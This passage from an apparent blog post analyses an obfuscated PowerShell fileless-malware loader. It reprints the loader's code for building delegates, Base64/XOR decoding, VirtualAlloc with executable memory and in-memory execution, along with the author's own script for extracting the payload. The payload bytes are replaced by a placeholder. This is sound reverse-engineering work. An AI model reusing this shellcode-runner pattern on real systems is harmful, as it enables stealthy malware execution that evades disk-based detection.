  $var_type_builder.DefineMethod(
    'Invoke',
    'Public, HideBySig, NewSlot, Virtual',
    $var_return_type,
    $var_parameters
  ).SetImplementationFlags('Runtime, Managed')
  return $var_type_builder.CreateType()
}

This one seems a bit more complicated. To start, the function is declared with two parameters:

  • $var_parameters, a mandatory field, containing a list of data types.
  • $var_return_type, an optional field, which defines a return type which defaults to Void if none is defined.

Looking further, it appears as if this function dynamically creates a new delegate type, with its own defined parameters and Invoke method. Fascinating!

This section creates a new builder, which is used in the rest of the function to construct a dynamic delegate type:

$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
  (New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
  [System.Reflection.Emit.AssemblyBuilderAccess]::Run
).DefineDynamicModule(
  'InMemoryModule', $false
).DefineType(
  'MyDelegateType',
  'Class, Public, Sealed, AnsiClass, AutoClass',
  [System.MulticastDelegate]
)

Next, the following section defines the constructor method, telling the system how to instantiate this new delegate type based on the parameter types defined in the $var_parameters variable:

$var_type_builder.DefineConstructor(
  'RTSpecialName, HideBySig, Public',
  [System.Reflection.CallingConventions]::Standard,
  $var_parameters
).SetImplementationFlags('Runtime, Managed')

Then, the following section defines the Invoke method, allowing the object to be called like a function, with a return type and function parameters defined by the $var_return_type and $var_parameters variables, respectively:

$var_type_builder.DefineMethod(
  'Invoke',
  'Public, HideBySig, NewSlot, Virtual',
  $var_return_type,
  $var_parameters
).SetImplementationFlags('Runtime, Managed')

Finally, after constructing this new object, the function sends it back to the caller with the following line:

return $var_type_builder.CreateType()

This function is really cool – it basically constructs a new delegate type based on a definition passed to it in the function call. But despite this break-down, I still didn’t completely understand how it would work… What’s a delegate? How is this function useful? I had a feeling this would become clear as I dug deeper into the code.

Decrypting the Binary Payload

Next up in the $DoIt payload, we see the following lines, which decode a Base64-encoded string and save it as a byte array called $var_code:

[Byte[]]$var_code = [System.Convert]::FromBase64String(
  'base-64-string-goes-here'
)

Note: In place of the substitution string, the original code included a Base64 string, but for the sake of readability, I extracted it and put it in a separate file.

Following the Base64 decoding are the following lines:

for ($x = 0; $x -lt $var_code.Count; $x++) {
  $var_code[$x] = $var_code[$x] -bxor 35
}

This section loops over every byte in the $var_code array, decrypting it using a bit-wise XOR decryption scheme with a static key of 35. We saw a similar tactic in my previous write-up, though this new example is much simpler than the one in the earlier sample.

Calling Functions from DLLs

After decrypting the array, we see the following code:

$var_va = [
  System.Runtime.InteropServices.Marshal
]::GetDelegateForFunctionPointer(
  (func_get_proc_address kernel32.dll VirtualAlloc),
  (
    func_get_delegate_type
      @([IntPtr], [UInt32], [UInt32], [UInt32])
      ([IntPtr])
  )
)

Here we see where the func_get_proc_address and func_get_delegate_type functions are called. First, the script gets the memory address of the VirtualAlloc procedure from the kernel32.dll file. Next, the func_get_delegate_type function is used to create an object with four invocation parameters an an IntPtr return type. The four invocation parameters use one IntPtr type, followed by three UInt32 types (Unsigned 32-bit Integers). With these two functions complete, their return values are passed to the GetDelegateForFunctionPointer method of the System.Runtime.InteropServices.Marshal namespace.

Now, I had no idea what any of this meant when I tried to make sense of the code. I had an inkling, but was unsure. Fortunately, I found a blog post which helped me understand what a “delegate” is, in the context of PowerShell. Here’s what the post states:

In Powershell terms, think of a delegate as passing a scriptblock that has a strongly-typed param block and return type.

That sounds familiar! After all, the func_get_delegate_type function gets passed a strongly-typed set of parameters and return type…

Looking at the Microsoft .NET documentation, I read up on the GetDelegateForFunctionPointer method. I learned that this method takes two arguments:

  • An IntPtr, which is a pointer to an unmanaged function, and
  • a Type, defining the type of delegate to be returned.

From this, I determined that this code was retrieving a delegate for the VirtualAlloc function and storing it in the $var_va variable so that this function could be called within the PowerShell script.

What does that even mean? I’ll break it down further.

Let’s say that I’ve got a file called funcs.dll, a dynamic-linked library which contains a bunch of functions that can be used in other applications. This DLL file is compiled into a binary format, and in order to use the functions within, I need to be able to call them with the correct number of parameters, and I need to know what kind of variable type the function will return.

Let’s say that inside this library, I’ve got a function called concat, which takes two strings as input, and returns one string as output.

If I wanted to use that function in this PowerShell script, I would need to tell the PowerShell script how the function works. Using the func_get_proc_address function, I could find the memory address of the concat function, and using the func_get_delegate_type function, I could tell PowerShell what types of input and output can be expected. Finally, using the GetDelegateForFunctionPointer method, I could create a variable that links to the function inside the DLL, thereby enabling me to call that function from within my PowerShell script!

This same method is used by PowerSploit for DLL Injection, and by other fileless malware.

Clever! Moving on…

Injecting the Payload

The next bit of code takes advantage of the VirtualAlloc function stored in the $var_va variable. To understand how it works, we’ll need to understand the VirtualAlloc function.

According to the Microsoft Win32 API Documentation, VirtualAlloc “reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process.” In other words, it reserves a block of memory where data can be stored. Once this is complete, the function returns the memory address of the allocated buffer.

The next section of code uses VirtualAlloc to reserve space large enough for the contents of the $var_code variable (which contains the decoded, decrypted, binary Base64 payload):

$var_buffer = $var_va.Invoke(
  [IntPtr]::Zero, $var_code.Length, 0x3000, 0x40
)

A pointer to the buffer’s memory location is stored to the $var_buffer variable. Next, the script copies the binary payload into the buffer:

[System.Runtime.InteropServices.Marshal]::Copy(
  $var_code, 0, $var_buffer, $var_code.length
)

Executing the Payload

With the binary payload successfully stored in memory, the script once again uses the GetDelegateForFunctionPointer method with the func_get_delegate_type function to create a link to the binary payload stored in memory:

$var_runme = [
  System.Runtime.InteropServices.Marshal
]::GetDelegateForFunctionPointer(
  $var_buffer, (func_get_delegate_type @([IntPtr]) ([Void]))
)

From this we can see that the binary payload is actually a compiled function which takes an IntPtr as its parameter and has a Void return-type.

The final line of the script executes this function from memory:

$var_runme.Invoke([IntPtr]::Zero)

The function is called with 0 as the passed parameter.

What Does it Do?

So at this point, we know exactly how the PowerShell script was obfuscated, and how it works. The script demonstrates a form of “fileless malware” – the actual malicious actions are contained within that Base64-encoded and XOR-encrypted block, which is never written to disk. In fact, no part of this script was ever written to disk; recall that it was executed on the command line, not from a file!

In summary, this script:

  1. Decodes itself,
  2. loads functions from the operating system,
  3. uses those functions to allocate memory for a compiled binary function,
  4. decodes and decrypts that function in-memory,
  5. writes the function to the allocated memory space, then
  6. executes the function.

This is pretty incredible stuff! The big question now is: What does the malware actually do? At this point, we’ve only seen how it gets loaded and executed, but we’ve still got no clue as to its function.

For this, we’ll have to get into binary reverse-engineering – a practice I’ve never attempted before.

In order to attempt this reverse-engineering feat, I’ll need to get the decoded, decrypted malware in a form that I can analyze. To do this, I’ll use the following code from the PowerShell script, within the context of my runas32bit.ps1 script, to write the binary to a file on-disk:

[Byte[]]$var_code = [System.Convert]::FromBase64String(
  'base-64-string-goes-here'
)

for ($x = 0; $x -lt $var_code.Count; $x++) {
  $var_code[$x] = $var_code[$x] -bxor 35
}

In order to write the contents to the file, I’ll need to use the [IO.File]::WriteAllBytes() function, as I learned from this StackOverflow post.

Here’s my code:

Set-StrictMode -Version 2

$DoIt = @'
  # Convert the Base64 into binary.
  [Byte[]]$var_code = [System.Convert]::FromBase64String(
    'base-64-string-goes-here'
  )
  # XOR-Decrypt the binary.
  for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
  }
  # Write the bytes to a file.
  [IO.File]::WriteAllBytes("E:\PowerShell Malware\psm2\code.bin", $var_code)
'@

If ([IntPtr]::size -eq 8) {
	start-job {
    param($a) IEX $a
  } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
} else {
	IEX $DoIt
}

Before I execute the code, I’ll replace the base-64-string-goes-here line with the actual Base64 string from the original malware.

With that complete, I execute the script:

Script Executed

Success! I’ve now got the binary payload saved as code.bin.

Conclusion… For Now.

PowerShell reverse-engineering is child’s play compared to reverse-engineering a binary payload. Having saved the binary payload to code.bin, I tried analyzing it using the IDA Freeware disassembler, but I don’t know enough about Intel Assembly Language to really do much with this.

I haven’t given up; I just don’t have any more time to spend on this today.

With that in mind, I’m going to publish this write-up as a “work in progress.” I’ve uploaded the code.bin file to my website, for anyone who wants to try their hand at reverse-engineering the file.

You can download the file here. Be warned! This is malware! Download at your own risk!

If any of my readers manages to reverse-engineer this, I hope they’ll take the time to create a write-up so that the rest of us can learn from their efforts!

In the mean-while, I hope this write-up has revealed some of the fascinating methods that malware authors use to execute fileless attacks on Windows systems.

Until next time, au revoir!